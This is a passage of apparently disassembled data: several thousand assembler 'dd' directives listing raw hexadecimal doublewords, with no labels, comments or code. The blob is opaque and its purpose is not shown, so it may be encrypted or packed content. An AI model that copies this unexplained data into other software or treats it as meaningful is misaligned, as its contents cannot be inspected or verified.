72189C71h, 92FAC87Bh, 0FB07EF34h, 44AEF4B5h, 0AE569355h dd 5EF75796h, 137664A6h, 94E83146h, 0CEAD2AABh, 8C4432AAh dd 79F4FE58h, 38480453h, 3847917Eh, 7059A2EEh, 92995A30h dd 3242FE0Ch, 0E036E9EDh, 37C22BC7h, 9F1465F5h, 4B582472h dd 0A976E4B2h, 0A565C9EAh, 0A61CBFF6h, 0F734A896h, 36CB4E56h dd 0FC756ED9h, 2F802202h, 0A8D9558Eh, 17032FBBh, 9559866Eh dd 5C7DA717h, 8CD2C5C1h, 0CE67A524h, 0A12D3EF2h, 6BB08A9Eh dd 0E5BC143Bh, 0CF49878Fh, 849EF246h, 0F9D051E1h, 0CF217118h dd 0C8606798h, 0D2C5C8C1h, 77A0A01Ch, 2A6DBB29h, 5CA33AA5h dd 74FA4D39h, 2424DBh, 3498ECAEh, 0CDEFBDE5h, 4D08F874h dd 0EF181D73h, 84E7A369h, 0F9D520F7h, 55F4F51h, 305F0E3Fh dd 8A81B16h, 0A9C6179Ah, 27F39BF2h, 63EBECFAh, 8810C5EFh dd 0C8651BF6h, 852C5A22h, 0DCA1E630h, 0F78B9D4h, 2A9466EAh dd 7BCB9E1Fh, 8F9FCF77h, 0E5F3D5F1h, 4D44B3BCh, 0C78CB5F1h dd 0CD6EFC23h, 0E210B9h, 60B28C7Eh, 85E4FB5Ah, 4EDDB35Ah dd 909969FDh, 3758723Eh, 2EFBE1C9h, 586D9979h, 0B737F2BCh dd 6CFD4756h, 4A8764A1h, 828BBB2Bh, 34D62094h, 0BC6B0C41h dd 0CF9A72CDh, 877122Bh, 8E068Eh, 7EC9F8B9h, 5DDA6C57h dd 463AE99Ch, 0BD8B7A34h, 513892B1h, 671CE98h, 1CEF6E3Eh dd 0BF0AEC00h, 526394F7h, 0F203C2D9h, 34467699h, 0A780E57Bh dd 61C69455h, 0C1ED0C92h, 0B6494C34h, 0C0E0A4E3h, 7F920959h dd 92C8BBD2h, 0CE1FB253h, 0E7C10A5Ah, 0D70DDEE0h, 0A804600Dh dd 0C6250F38h, 0E018D3E8h, 9D3943B9h, 4393E6B8h, 0D160946Dh dd 0DD1ABAE0h, 18F86F44h, 237A1E82h, 0C39EB341h, 142BEE8Fh dd 0B7DFF44Dh, 0BEC6A0C4h, 50CF9EC6h, 0BAC118DEh, 0A1B85590h dd 0EE7F00B7h, 26EDDA7Dh, 8394880Ah, 147B9EC0h, 466EF922h dd 65163D90h, 6243D807h, 955173C8h, 0B2B686C4h, 94EA0C33h dd 0D74ABC6Ah, 8C584281h, 5D153CFFh, 0DFA260B2h, 253B09E6h dd 0D71CB18Dh, 9B09E827h, 2FA70580h, 0BEA3A641h, 2B9D48E8h dd 0A294E28Eh, 0C1EA2493h, 36E6686h, 38333C09h, 0BC757147h dd 71FE48C6h, 40D45E0Ah, 0D67477CCh, 0F6F969DBh, 256EC34Eh dd 0DE5B89DCh, 0BCA2528Bh, 0D76E6F13h, 1447102Eh, 6BB44290h dd 0B7E054FBh, 602C73FFh, 353447A6h, 0AEC9B9A6h, 94FEC227h dd 0CFAA67D6h, 0BE94EE28h, 81CD64D0h, 9B660CE0h, 949859BFh dd 14A4C702h, 38CB91Ah, 785992AAh, 0F8F6F74Bh, 36B0CFDBh dd 446B38DBh, 0E7F920FEh, 0DDB7BAB3h, 61F1C7C5h, 3EA9A932h dd 64A573BCh, 0B5C160FFh, 744B3CC5h, 8DA3168Fh, 84E27F32h dd 0D536B84Fh, 2FE1F80Bh, 0ADE4DCC0h, 0B0E177Fh, 6D34ADD9h dd 8D909790h, 9607C2F7h, 52B67FF3h, 1F40418Ch, 3FDA44AEh dd 0D1CA8B45h, 2A7E5DF0h, 0F862ECFFh, 0FCB57D22h, 4D60AE23h dd 2DAE3045h, 0F59EAABBh, 0AF9E0532h, 0D58A4A70h, 13440D02h dd 0ADB2E722h, 4557CECFh, 0EC4D2B77h, 4CB81331h, 6DE43FCh dd 63C8BEFCh, 42B09F94h, 0AF0D0249h, 0AC04B83Fh, 0AD048383h dd 3A900E9Fh, 75721167h, 0A8DAB048h, 19801661h, 0E3BCAC0Eh dd 64D91DE8h, 0E594931Dh, 0FE30BDECh, 59BF2146h, 5742E327h dd 0D11C57Fh, 0E852CAF2h, 0AEA77EE0h, 8507B84Fh, 0C91C28B9h dd 0BB0F0B1h, 873BD872h, 53A23809h, 0AB8414FCh, 4CB7ADCh dd 0BBA383BDh, 0EC1FC504h, 0EEB051D0h, 50EB1BD1h, 2D9555B4h dd 0F7653F13h, 55163095h, 0D66C8DC3h, 0D2AB422Ah, 0E519F969h dd 0AB17EC36h, 72C6A476h, 0ECB09640h, 0D37CAD47h, 1F88D793h dd 5336EF87h, 0A2788F92h, 0D075EA2Fh, 2F252189h, 1415B9F0h dd 83A02335h, 0F949F275h, 0F59CE87Eh, 5EA5F1CCh, 9E96CCE5h dd 532D0EBAh, 0CF556E08h, 0F7ADA78Ah, 0D06A634Fh, 26DB6007h dd 8268C67h, 93EEE18Dh, 1F083FFh, 0D6170084h, 250FE3F9h dd 1BC496FEh, 2C6AA89Fh, 37866DA7h, 0F030D76Dh, 42572DEh dd 0F506A127h, 0F7717BE1h, 36EA8EC5h, 851348CCh, 0A64A4D77h dd 2F672827h, 0D44BB7A4h, 6679BD54h, 11692640h, 7E15722h dd 37FBCB1Ah, 0DDB70FC2h, 7E5084EFh, 361E1B80h, 0A58C9BAEh dd 0E786CE9h, 117E2E7Ch, 12080EAFh, 0CD4D8Fh, 34BFED2Bh dd 54E23A46h, 0FE97129Ah, 2108F3F8h, 9E2E43C1h, 0B4F8E6AAh dd 0A9CE2D34h, 0F81AF987h, 1FF6EDDDh, 0A294323Bh, 435AC4B9h dd 0FB28438Bh, 7D873857h, 45AD9FEAh, 1396FE35h, 0B52F1FDEh dd 1BBDBF6Ch, 6F518458h, 0C728A604h, 56B80FC6h, 83994B7Ah dd 2D9159E8h, 0D376CE7Ch, 0B4F1E399h, 6870A6FDh, 415AEE39h dd 445B2F46h, 0A83E69CDh, 5FE8A569h, 38824480h, 0E673726Ah dd 24935235h, 5DB43A3Eh, 0D24EBBB5h, 7F2F167Ah, 636C935Ch dd 0CE220705h, 0D6D5C6CAh, 0E518BEE4h, 630EF160h, 0E8B9B121h dd 936F4C41h, 451C77B6h, 941B70F1h, 0E39C5CCh, 5731411Fh dd 9EE4BB2Ch, 81D76F1Fh, 0F5612B6Ah, 84B4C626h, 0E75EA3E5h dd 960E8EFEh, 0E4F63890h, 0B2E5EDF8h, 31A2BEFCh, 61FCC8Dh dd 9E9D0086h, 75092258h, 739D63D6h, 8D45B5Bh, 6EBDD944h dd 752EC99Ch, 78B6DDE0h, 0D9E8255Fh, 7EC0EE18h, 3E378749h dd 1DF4BAD3h, 0D8A42AD4h, 1AA83A0h, 0B6125092h, 0ECFF4CF6h dd 0E55B074Eh, 0EFF3EAA7h, 7B2F4E08h, 97F1C534h, 7B3A8039h dd 4C1AFA72h, 9995BAC5h, 2015C728h, 26B1E338h, 15BFC227h dd 0D8853171h, 2B58944Fh, 95BCE573h, 0D3378492h, 2B1E4601h dd 0EAE5DB94h, 5BF34C4Ah, 0B878B869h, 0A26C5C8Dh, 2673464Fh dd 0C250F742h, 7DA452B6h, 0B5B71EE3h, 267E62EAh, 6EB8F5EEh dd 0B95E30D3h, 441C230Fh, 4C218979h, 0A6605EEFh, 0E7E30CB0h dd 7017EF7Fh, 73EA05F5h, 75610644h, 7FCF58E6h, 0F2E97012h dd 14D6884Fh, 0B7EB9BD6h, 0A999FAFEh, 9C3BF31Bh, 0D9C76DB6h dd 3DFB6CADh, 0B5358457h, 9E371018h, 0BBA304C1h, 16BB3CB5h dd 0B45B3E79h, 737DC7Fh, 722AC139h, 55A7DEC7h, 0ED1C2A63h dd 0D68D9B9Ch, 0A77331B7h, 0F446EF3Dh, 0D93C112Fh, 1DAF35B2h dd 0EA49BF47h, 21B211B1h, 0F07A88CEh, 0EB30C230h, 0A42C4280h dd 0CF81176h, 6AD6C84Fh, 12408CA9h, 9A447EACh, 0E818B8DAh dd 6514138Dh, 0F6292AC7h, 489BEB9Ah, 3E157635h, 0A421F659h dd 3D889291h, 664BE7A0h, 663A4267h, 0E6CF8340h, 3E1AC70Ch dd 0BB3749DBh, 0A15C2258h dd 0DBC6E91Fh, 7B39D39Dh, 8E8905Fh, 60C9093Fh, 1467BECCh dd 0F7EE4D68h, 0FAE811D0h, 17C637ACh, 52A28883h, 28E16B44h dd 2BAE12A2h, 3EB9BA5Dh, 26E4E222h, 0BF2D5BCDh, 0D3D3582h dd 1FA3316Eh, 0D467A19Fh, 0B8057615h, 650FD40Bh, 71C1EBF1h dd 0C3F1F0Bh, 3FF7EBB5h, 0A57E12E4h, 559CDCA0h, 4EE0A080h dd 0BFF5D248h, 751A8449h, 0C4B65DD7h, 188B6398h, 0B1BCC5ABh dd 385A41E1h, 0FF0800A4h, 36F76B29h, 0D47A78B0h, 1B190183h dd 473E1382h, 621EF603h, 4F8104C4h, 0C5F1C715h, 38F92A43h dd 0CC6079EBh, 2B34FEB7h, 8D47CB9h, 9C538999h, 0C483DF66h dd 21DBD32Ch, 9B21277Dh, 282ACF3Ch, 0D597AFA6h, 0ECA437BEh dd 0EE29D301h, 98D282D6h, 1B1C2E77h, 6CE58A7Eh, 0F405D8F7h dd 568A6396h, 0D8DEED18h, 0FBF4E137h, 71E24BF3h, 0AC006BC3h dd 5EE3C21Ch, 33945396h, 10A2C0DBh, 0CED9BEB1h, 6B1EBE7h dd 0F8686D0h, 3FD1EEB9h, 0CDBE1DB0h, 0DC3FC2CCh, 0D9FFF802h dd 0F125246Ah, 0EE9230D9h, 3299FCC0h, 0A8A502E4h, 34998B0Ch dd 3CB0680Bh, 4312F65Bh, 54D1811Fh, 0AAC56D75h, 0D3FF3536h dd 3CC8D524h, 28B0D3A4h, 0E96712h, 0AE009D40h, 0A5BE2E7h dd 0B391D441h, 65A556BDh, 68F52DC5h, 905E8BF2h, 7778EF6Ch dd 97FFAD62h, 0E7EBF229h, 57701Ah, 0CD2B1C15h, 0D15C28C3h dd 0B9C86A6h, 79292DACh, 0CC97AD67h, 8D210F79h, 264FDE9Ch dd 4938FCF4h, 31ED72F8h, 78B845D1h, 1A646E65h, 314A3B25h dd 3FAA73E7h, 645D3E70h, 0ACEE8C61h, 7C3894Ah, 0D11F0AB3h dd 7DC8C193h, 0E71C2642h, 2CB5F6EFh, 8DB90B5Eh, 87E3D340h dd 2488B4C1h, 8D05877Ah, 163F71D2h, 534D5E0Dh, 0B94ABB31h dd 822F19F3h, 89DB45BEh, 8B5B710Dh, 84FEAF00h, 9AFF834Bh dd 0C64E7F97h, 30E1C4F9h, 0B6490695h, 3C4DA352h, 0A0ECEEC3h dd 1094C2A4h, 0B22133AFh, 2251DF37h, 0A9F45259h, 52A32EC8h dd 0D9798CDBh, 7FA4CB4Fh, 28359A8Eh, 0B2F568C2h, 0BBB9D1C5h dd 58CFD1BAh, 0D4B6C6CCh, 8EE88F5h, 0AF16347h, 733A0771h dd 3BAC3D89h, 85E2FB99h, 0E33E4E36h, 0F551342h, 0F0B8E0D5h dd 2685DB80h, 0C88BC7EAh, 80A3D533h, 0F60B5F40h, 0A483217Fh dd 1B8495F1h, 4BD32062h, 0FA9C18ACh, 6EC2BC7h, 1CFC1F7h dd 98B69500h, 18D231A3h, 90486BF9h, 1A369EBEh, 3648E1F0h dd 9C853678h, 0A592E44Ah, 8C133320h, 41A535D3h, 9874F9CFh dd 22D2B0B1h, 737D3263h, 0AEA2D28Eh, 3EE3A708h, 0C8AEB9E1h dd 62250857h, 3ACB445Ch, 0FC434146h, 269CEE81h, 3360F78Bh dd 0F0CDD4C6h, 1B3350C1h, 0CEB021B7h, 0EA8E9340h, 479F0635h dd 0AD1683F9h, 0CA4B2EDEh, 0CF7B552Bh, 0E85D0C3Fh, 62574A90h dd 25806C62h, 380C87D5h, 252F0D5Ah, 57EFCD68h, 5350DC2Bh dd 7002B0D2h, 0DF882FFEh, 1594AD1Ch, 3A7E44CBh, 6B68CF5Dh dd 0D66D5FE3h, 67675CADh, 6ECC7BD9h, 3794DE48h, 0A1FB33Fh dd 2B97B2Fh, 5EF3B344h, 0EC47E985h, 284BDB9Eh, 8A12B65Eh dd 7BBC9BE9h, 0D9B27C02h, 3DD904B6h, 4EC7008Ah, 4E63BEEAh dd 0B8D6DB89h, 60FB0560h, 1E41210Ch, 9484CC93h, 5CC39C8Ch dd 85D0572Dh, 983B27C9h, 0EC618BB8h, 0B138B70Bh, 0E7A91A74h dd 1B099239h, 1ACE98AEh, 0CF480ECEh, 617DD4A8h, 0A9CC418Eh dd 18E7684Ah, 0EED4EAE1h, 0C62E9D75h, 0ABE6D3C1h, 0FC31697Ch dd 37A97C25h, 9DB74F8Ah, 40AF1BB5h, 9FAD1D5Dh, 6909364Eh dd 604727D7h, 5B4FFB25h, 3E0144B3h, 0B831723Fh, 3CDA81DBh dd 703317Ah, 194FED88h, 0A2F57DAFh, 4A1F1E99h, 14C65ECFh dd 0F6179653h, 42729D7Ch, 6DE8DA24h, 0DA78A179h, 1CA2244Eh dd 4E2E2594h, 0F062E7FFh, 2C15BF3Eh, 552FC7FFh, 77CF8947h dd 0B7D9CEA6h, 3528950Ah, 0ACA2440Eh, 9AB92DE4h, 0F1295D79h dd 9EF1C929h, 0F544DE3Bh, 3EE162F3h, 53474D08h, 0BF2B243h dd 41D0AE8Ch, 6D8801FBh, 0B0808776h, 506F3946h, 0FCB80A75h dd 0CC09D6BAh, 0E4E5F865h, 82C1E676h, 777F8E2Bh, 0D00FCCF5h dd 0A14CD81Ah, 2111883Eh, 4EA961A3h, 1E0BCDB7h, 0B0521AC9h dd 0AE194FB9h, 0D1A3B9BCh, 1CCFE4EEh, 0B3166A1Dh, 216EB350h dd 0BF17A534h, 3F57BA86h, 0B286AA4Bh, 0C96D2F15h, 0ADC33043h dd 0CB7992F9h, 485E7874h, 0B7281A4h, 1EC0C104h, 3B95F35Bh dd 0BAB1D156h, 8DD1C3F0h, 9026D776h, 33EFE207h, 50B7D83Bh dd 0D141139Ch, 0E1E6391Fh, 73138A49h, 0DFB3FE25h, 4E36179Ah dd 41E06C0Fh, 0B2B79AAAh, 0EB92CEE3h, 0DADD886Bh, 138999C1h dd 0DE69B96Eh, 0F881154h, 774AF332h, 52CED522h, 96EC8053h dd 1245DAC4h, 15C5255Bh, 0B97C280h, 15271E73h, 8E0DB753h dd 96F9868Dh, 136AF231h, 75050B66h, 4AF65F6Dh, 78BF1204h dd 8F62CBEFh, 0B2F1F810h, 0DEDFF864h, 0BFCEBC44h, 38B97B11h dd 0C15BE984h, 48490476h, 32D08FDBh, 0D8B2512h, 7E85E0FDh dd 0B1F2C985h, 0DE94F4ECh, 1A583D22h, 0F8D4ECBCh, 0EBFC26D6h dd 0D9F19419h, 3BA61184h, 769E0BEAh, 7FCC5C71h, 5ACC7913h dd 0BFB68912h, 0F0876DDAh, 0D5A6BE71h, 116C0E61h, 4C57E2FAh dd 0A68BEA90h, 6D057C5Dh, 448C5282h, 0BC0CC615h, 0DFDC54CCh dd 0AFD75A65h, 83FBDE63h, 4A4D4965h, 93B8F9F9h, 21E7D897h dd 0F3649C8Ch, 1EBB4924h, 0B27736DBh, 899FBFA9h, 82EEA005h dd 0FF065C2h, 0A26EA297h, 6B282393h, 0A9E6F066h, 0D8720A9Eh dd 0F95FF598h, 7950D8A8h, 0A34FC02Fh, 0E7B70E25h, 0B7D501Eh dd 0C195A02Ah, 28F7D848h, 9253AC00h, 5DEEAA5Dh, 967342BAh dd 3D201B69h, 31D10040h, 8F41E77Fh, 5FACA140h, 932CA109h dd 0AAF9CA61h, 883E987h, 168B22C6h, 0CD6BFDC0h, 0CAA8C1F5h dd 799EC8C4h, 42E504AFh, 0B6C75829h, 35510F79h, 0D078263Bh dd 0CF2FC2F8h, 69A1359Fh, 10AC7B65h, 0ECE10F7Fh, 2D792CB8h dd 8D70B435h, 8CCE6B26h, 0B4C668CFh, 8161BED1h, 0E86B239Ah dd 0DC4063BFh, 238DAEAh, 0BB97883Fh, 18846E62h, 8E9D0524h dd 7035D927h, 8B50F930h, 71E9E54h, 105C57C7h, 6CA534F2h dd 535D268h, 0BD30693Dh, 4676D1F5h, 3FACBEE2h, 0F50DF8B2h dd 0E469B6EEh, 19E9DEB7h, 0F04C476Bh, 0FC0CAB2h, 1BCA2A1Ah dd 28F28B95h, 7A83B061h, 9C8EB022h, 0DEBFDAF0h, 0CFD76C57h dd 0B788BCF9h, 8C4B1373h, 73FE7B6Ch, 191FC130h, 0AD28919Bh dd 5CF6582Dh, 0D92A5983h, 498A53A2h, 7062372Dh, 0DB2D99A1h dd 0EC92C9B1h, 5329A7A2h, 5945B314h, 11F71A11h, 0AA3E2F47h dd 144209B7h, 0AB2D7801h, 472DC2BAh, 87C06202h, 0B3C99D0Fh dd 855882EFh, 0D341D8EEh, 0EFC5BB12h, 555620BDh, 5B4B62E3h dd 23D0D38Ch, 76E25B58h, 35A5217Ch, 0D2C18B0Bh, 2A58CBA4h dd 5817E0C2h, 5E2815D6h, 171A536Fh, 7C26ECEBh, 1197B4CAh dd 7D95DE48h, 0CA394985h, 3A5FC619h, 28352CF6h, 67D790ECh dd 2A3FD3E0h, 803A2173h, 0E3DF0486h, 3D93232Ah, 7B895651h dd 0E92FCA96h, 24EFFE4h, 0C2EAF7C9h, 0F7F85CB3h, 844A210Fh dd 0DE45B953h, 0D9AC65Bh, 0A30008FCh, 76D31215h, 0F2DA4B7Bh dd 0A4461C2Dh, 9FE81CCCh, 0D45B8025h, 9D96D3CCh, 0C7F5309Bh dd 7D1658E3h, 0E0193630h, 3F77F6F8h, 3645C265h, 123EDD5Fh dd 1506B9DFh, 0ADE7CB36h, 5EADE715h, 7529C322h, 49CA649Ah dd 0EA9EACD6h, 0EF6858C5h, 14FD660Ah, 0A82F7371h, 0FCC361E6h dd 1DE4466Dh, 7BC67940h dd 0F7C3595Bh, 3927B059h, 0B7C7BD05h, 9D29016Dh, 0E1687CD7h dd 39229094h, 8778AB7Dh, 6C62396Fh, 0B2B6C94Eh, 4C004F05h dd 7D736B16h, 23EE4E87h, 0F3DBB42Dh, 8BBAB1F6h, 5C727393h dd 7C2204DAh, 3E8015E2h, 0C8435E1Bh, 9F14BE82h, 0BBD25138h dd 0D04BD592h, 0DF2AC148h, 0E34351E3h, 0F3DA1C4Bh, 0E39FCC6Bh dd 0C4519803h, 17C58652h, 0F75DE0A3h, 1FDED6B1h, 0ACB87794h dd 0A24173C5h, 0D7B45A6Bh, 0D93A87D9h, 4F0F2EB0h, 0E6585FAEh dd 208A404Ah, 297AB294h, 0DCBB3D6Eh, 5531A3FAh, 264011D1h dd 5EAF39E6h, 9BD47452h, 85FA7FDh, 0A3353970h, 2B317D76h dd 6958641h, 8FA7C508h, 0D34C95B9h, 9F046106h, 0CC6131F6h dd 0B9461B7Ah, 0C714079h, 27412EB1h, 7FEDD6FBh, 7EA7BAB0h dd 0C3EBF0C8h, 0E8434568h, 0AA18A7D0h, 419E8B40h, 19E02B99h dd 28AAF420h, 7D5481B0h, 42BEFC33h, 0B73BD2FCh, 0C670DC37h dd 0C8E43F23h, 77206D4Ch, 6C5BCA4Dh, 0D23E3A0Fh, 54CF0C26h dd 2752D27Fh, 0ED6ACE82h, 67F22D1Fh, 0E74B9938h, 0E2EDFA6Fh dd 0CB740488h, 4AB29956h, 0DE2C6569h, 0DEE673C1h, 1FDE91CFh dd 2BB59122h, 6B471ADBh, 9BBD0B60h, 5D3985E7h, 97E5D99Ch dd 0C859698Bh, 0DAC61D18h, 3801C995h, 4FB1CF4Ch, 5F23C195h dd 0FEEE4B41h, 0A6FA8A81h, 0B76F4FF6h, 362A7A4Fh, 2B202579h dd 0E7DFB5FCh, 55999FC7h, 9C1F9AADh, 0A1EC8760h, 4E5AE3C2h dd 7AEBEC42h, 0B8505A64h, 29D81E6Fh, 0E0A9A037h, 0B03CD906h dd 1BA168D7h, 0BFE83D30h, 0DDC43A74h, 0CB46D5BAh, 6E0CDBDFh dd 0C3049EFh, 6D9E30FFh, 15CB358Ah, 822779BAh, 9E7E2376h dd 80D241A9h, 0AE523A71h, 7A694D4Bh, 368B0BD1h, 7A99FD1Fh dd 0C87D38D8h, 4AEB42A1h, 0FAAEAFE2h, 0FB0E43Ah, 4B8B5C84h dd 0D76B8018h, 5D53B3E3h, 5B1F175Ah, 0A0C5CF9Fh, 2EF9377h dd 100900D0h, 377158FBh, 0E7B8CE06h, 0E3E01BBBh, 598F479Ch dd 26D79287h, 9B811DC2h, 0B063291Ch, 0CF6DA3C3h, 114E3651h dd 0AC0F7B38h, 563A9FBCh, 5C4BAD4Ch, 6C5E2CABh, 0D40B4F30h dd 849E5310h, 0A76067E3h, 91BE0C03h, 693EDA49h, 0A132830Eh dd 4B2BBF1Fh, 9997DF14h, 0D0E79058h, 939A0A10h, 0BB99F541h dd 164B3FF7h, 6E0FCE20h, 0E94B3EFCh, 57BCC903h, 0CBD43D56h dd 4283E7C0h, 3DB7DFBCh, 0CEFD496Ch, 75F284A2h, 2E668F73h dd 0A9207044h, 5DBAADD0h, 0E2CB1D7Ch, 53DF062Fh, 0D27D8BB1h dd 334CBB6Ah, 245D17A7h, 0CF34A41Fh, 0D66F8FA6h, 0E64310C2h dd 12401448h, 99BE8125h, 8C43E91h, 0B646171h, 0AE62E895h dd 8165DD24h, 0A8F52D4Eh, 23C8DAEAh, 0B412242Dh, 6A9DCA9Fh dd 1481FA81h, 123B3043h, 0A78B4E03h, 59A70648h, 54E8CCD0h dd 0F018A14h, 14047D24h, 6B970962h, 9689FD45h, 1AC52634h dd 0AFD76FDAh, 48C60199h, 9840D5FAh, 0BE32BDECh, 0D1B3E6B7h dd 1718909h, 0E8C2A879h, 50DB181Ch, 0F6FC4F4Ch, 83D6A6F0h dd 967C221h, 7613CC7Fh, 1D828CD2h, 0AA231AF4h, 0DFE50137h dd 0EFC44196h, 5D27DC70h, 61A9F307h, 543BF408h, 233D3D4Ch dd 7181CE99h, 4ADA1D24h, 0F5FA7DFh, 426499BEh, 0BE6573D2h dd 0DA3F33BAh, 0DE8B1377h, 197A8F81h, 5915794Ch, 8CA00333h dd 2D10F4D0h, 1B2E43E3h, 585CA5ADh, 32FC0E7h, 0A167E49Dh dd 20B4C7ECh, 7D3E6408h, 0A884B295h, 63A7851Ch, 876C99B3h dd 287B5C5h, 0E9A2E445h, 3A1AD57Dh, 2D451842h, 0F477AC1Eh dd 0FA50DD11h, 93E57E92h, 2DE323C9h, 20D0BC28h, 1F086750h dd 1D919AAh, 964AEEE0h, 9CDFCDCBh, 5C9B14FCh, 99BBBCB2h dd 98726645h, 35F66878h, 76F57E6Bh, 6CA7DEBAh, 0EAE70ADAh dd 5B5895EEh, 587B6C95h, 5A7D2212h, 70128CB7h, 71A71572h dd 544CFF12h, 6E55F7A5h, 402E326Ch, 404AE28Dh, 0AB31A368h dd 8B2021F2h, 0CC0EE104h, 40EDA974h, 5455F10Dh, 1BEF2DEEh dd 1FA9A969h, 0B54FC936h, 0F7D5899Ch, 5B87679Fh, 4E3955C1h dd 93E4FA58h, 1D3210BEh, 53188529h, 270635B2h, 0E4DFDD58h dd 0DFFD2048h, 0A7FFCE0Eh, 91C037B0h, 0BB439E4h, 0EA17E00h dd 0E3E72E6Dh, 0E31E1A36h, 2E9F390Fh, 5250E237h, 0A386FEF6h dd 565EB7EAh, 0AE7190E5h, 621B954Dh, 0E04CDB5Dh, 23C8FC47h dd 9328C7B7h, 6C2C1DD6h, 23F992E3h, 0EDA4CF0Eh, 816AE3F9h dd 8B356E36h, 41DD0768h, 0D65B326Ah, 650C79Bh, 889F6E0h dd 0AE38EAB5h, 28870FEh, 1DFA10B8h, 0B78CF2FBh, 22DA0129h dd 0EF2ACFA4h, 7B6222CDh, 0BB4EBF8h, 6472D617h, 0C51EAF77h dd 97ADC2EBh, 0BEFA206Eh, 1C4A487Ah, 0C8FF7BFAh, 590C1B15h dd 5E3B30A3h, 2D1C8973h, 1C933E75h, 7FF0DF77h, 4FBDB5A7h dd 4EEF05C0h, 3B3828A3h, 1B135BE2h, 1DC6187Ah, 0F267A722h dd 0CAD423D1h, 24DE05EAh, 0BD8D6DEDh, 57DB1EC9h, 600C6337h dd 91284581h, 54283BAAh, 5ECFBD0Ch, 40C0B230h, 51FFB75Bh dd 46EB02BBh, 779C4920h, 9E2736FFh, 294AFFFDh, 0D09FBE6Fh dd 0D20AE347h, 0E4CA426Ah, 80A92421h, 9DBAE0BEh, 0A3C74741h dd 4526DCCCh, 2DCA6D5h, 939CB9C1h, 0F6C2F478h, 0F9B4B35Dh dd 41472008h, 88045838h, 7946E1DAh, 0FE4618B8h, 0BE31F38Dh dd 0B73C056Eh, 99F7A622h, 9A47D900h, 1CCFF3D2h, 7934E67Dh dd 0EDF80770h, 0CC104213h, 70C329AFh, 735DCADDh, 2CF8577Dh dd 6D7921BEh, 0E61B7DEAh, 7B62DCFBh, 0B71C8789h, 0D427E120h dd 0F4DAD73Eh, 68F91BFCh, 39D28458h, 0A2C205B6h, 4A6F47BAh dd 0ABDE6075h, 45C62E23h, 8FA9D391h, 8195D4F5h, 0CA9D271Bh dd 699842C4h, 0AE9109B5h, 0F96CC5EBh, 0CE9201CFh, 0F1BB7795h dd 700124E8h, 3A57870Eh, 58D40FABh, 41AE17C0h, 0F7EFCD32h dd 0D220FF22h, 0B4072F18h, 8615D8D5h, 67B4FFB9h, 287C2FCEh dd 60703CBEh, 180CE8BEh, 0F58BA0C4h, 2EA39F2Fh, 0D1329998h dd 87E06C3Ch, 1AEB5CEFh, 0F1A3D841h, 0AE248A07h, 0D5B06EAEh dd 46E315CEh, 75B02A68h, 0A6F453E7h, 4CEC81ADh, 2C6CDBA4h dd 0CC03FA9Fh, 0DE963CCBh, 6B2388EBh, 0C5D06061h, 3659226Ah dd 0DF5CC7EEh, 0AF2347B0h, 2F75DC79h, 0F090389Bh, 56924D26h dd 58B68169h, 8CF219A1h, 0D7AD38AFh, 6BCD95CEh, 0A915BF9Dh dd 77FD6D9Dh, 0EC96B6FEh, 66C380C6h, 1180CCD2h, 0D7C9BB96h dd 76AF66E8h, 108E9E8Fh, 172FB61Bh, 97532269h, 8DFA822Fh dd 0D733C018h, 5C87AAA1h, 0EFD7250Ch, 11DBE251h, 0CB9EC701h dd 758FF887h, 0A6053787h, 807346D6h, 8A4FB27Fh, 85407F75h dd 0D0B23E41h, 0DEE337CDh, 3C758652h, 89F44EC8h, 0CB9DF812h dd 5438C408h, 2EB69D7Fh, 9F468FD6h, 0D57CA749h, 0FC997BFEh dd 457DD499h, 3F38E8FAh, 621BB498h, 3C6FAD92h, 45AA10Dh dd 0C845FB2Bh, 84D87930h, 76663B70h, 56D12CD8h, 0C6697358h dd 0A8700077h, 49A6A299h, 2F0A984Bh, 3EBE2429h, 9D710FA9h dd 21D6DE01h, 0D31DBB28h, 29A209ECh, 0FCBC2430h, 44AC9F1Dh dd 293BD572h, 7FE024BDh, 0A6C83687h, 776DC71Ah, 0B87DA854h dd 0E21C6B04h, 0EE301FBBh, 2F8F9605h, 0A4242A34h, 0E8E273A1h dd 0D9EA31C5h, 0DC173B6h, 0C480441Ah, 0E25AAAC4h, 0E300C10h dd 0E6CE28F9h, 0D5C51CE8h, 0E53A3928h, 0FDAD5514h, 5DBE808Bh dd 4AC7C86Fh, 0C6BD517Eh, 0EA6BE4D7h, 0E077B5h, 0D3FFB2BAh dd 4071A0A0h, 6C5BC1D8h, 30C0EE61h, 0B491675Fh, 0C7D0B7B6h dd 0D83F38E0h, 5336271h dd 32EA408Eh, 883A7743h, 0CAF1B60Fh, 8CA3E63Ch, 4429F3F7h dd 726DA428h, 0C7B9CDE7h, 0F4E4B464h, 0F9852098h, 0A8BB037Bh dd 579E51EDh, 0C40CE6A9h, 6BAB3457h, 39C0DB1Bh, 0C86B0FCh dd 0C2E147CEh, 1664EF92h, 9B9D5B90h, 0EECFC045h, 9DFB7961h dd 0C91AE08Bh, 20B7A450h, 56F62897h, 4D24B61Ah, 0DFD72981h dd 0A46909B8h, 7F63005Ah, 10DC4B31h, 414534FBh, 9F41D061h dd 5A88D477h, 0E57ADF9Fh, 3C33FDE6h, 9A8D68Ah, 0B2342111h dd 81168C0Dh, 69E2A770h, 7B55E024h, 0FEF74147h, 0A6A29914h dd 0A149D47Eh, 8301B59Dh, 0D3C8FFCh, 0AECDC949h, 39F24DD2h dd 0AA609FE5h, 0A48CEA00h, 0DD686AA4h, 0F8FE778Ch, 7C25855Fh dd 124C559Ah, 77C5491Bh, 33159044h, 0FF91EB71h, 13D85F2h dd 22B0ABBAh, 10D1DB9Dh, 266BE9A8h, 0AE1D2D25h, 0D40F9394h dd 25F7498Ah, 86ECD6ADh, 0F07F3445h, 0DF980734h, 0F0247A0h dd 12418DD7h, 5BF15007h, 64F0D2E4h, 0A071ADF0h, 51B11BDDh dd 2979F0A9h, 0A08602DBh, 0B29C76D8h, 0CEDC5CC2h, 9087921Dh dd 0E2406A4Ah, 659E17D5h, 0F195D323h, 0BD748B4Ah, 0C7F434DFh dd 7F0A334Ah, 0C1A72164h, 45514C4Fh, 26B4763Dh, 0A826AE9Eh dd 0B4D6E050h, 2EB0616Dh, 4ABFA9ACh, 8D9C99C0h, 0DA66996Eh dd 0FCB599CCh, 30439FEAh, 0DB6BC40Ah, 0EC638924h, 50B3B27Ah dd 3C707057h, 1C85FB7Eh, 2572AC22h, 0BE0063E8h, 0A180C5FEh dd 456EB97Dh, 420906B4h, 9FBF7A58h, 0C3A2ADF7h, 39787F65h dd 0C0278FC6h, 971942E9h, 1453787Eh, 0D33ECDE7h, 555785Fh 